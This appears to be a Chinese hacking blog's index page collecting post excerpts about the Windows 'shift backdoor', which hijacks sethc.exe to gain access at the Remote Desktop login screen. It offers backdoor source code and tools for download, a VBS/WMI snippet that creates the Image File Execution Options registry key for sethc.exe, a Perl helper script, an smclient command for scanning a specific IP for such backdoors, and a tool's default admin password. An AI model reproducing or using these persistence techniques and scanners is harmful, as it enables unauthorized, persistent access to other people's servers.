鬼仔's Blog

作者：陆羽

挺多朋友喜欢我的shfit后门。现在也发现出现很多模仿我的思路的shift后门。但是文件都很大。
避免大家使用有后门的文件
特此提供源代码。
让大家方便自己修改编译。和学习
如果有谁做出改进。欢迎上传共享

本文件VC6.0下编译通过。不需要任何特殊环境

下载地址：ShiftDoor_V1.2_VC6.rar

作者：lcx

利用vbs创建注册表值较简单，创建注册表项的话，网上多是用wmi来，例如代码：

const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"  ‘创建sethc.exe项
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

阅读全文 »

鬼仔注：对3389的SHIFT后门自动扫描的补充

作者：cloie

#!/usr/bin/perl

use warnings;
use Win32::GUI;

use constant WM_CLOSE           => 16;

sub monitor {
my $handle = Win32::GUI::FindWindow('', '中断远程桌面连接');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
 阅读全文 »

来源：cloie

首先3389的SHIFT后门极少
其次大部分SHIFT后门都加密

所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受
下载ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
阅读全文 »

作者：孤狐浪子
来源：红狼

阅读全文 »

鬼仔注：前段时间发过 SHIFT后门功能版 ，那个没办法修改密码。现在作者放出源码了。

来源：LiFediy's blog

下载：sethc_vb.rar

鬼仔注：反正我是不会用，默认密码没办法修改

作者：LiFediy
来源：LiFediy's blog

看见有人搞SHIFT后门,我也用VB画个吧.

模仿原版sethc.exe界面,增加了管理功能.

热键启动'Ctrl+Shift+P,或者单击程序"右下角"启动管理登陆.管理密码xp2k

程序很简单,纯属玩玩.喜欢的就玩玩吧,木有2k3的服务器,请自行测试!

欢迎光临My'blog http://www.xp2k.cn/blog/

下载地址：http://www.xp2k.cn/blog/?action=show&id=159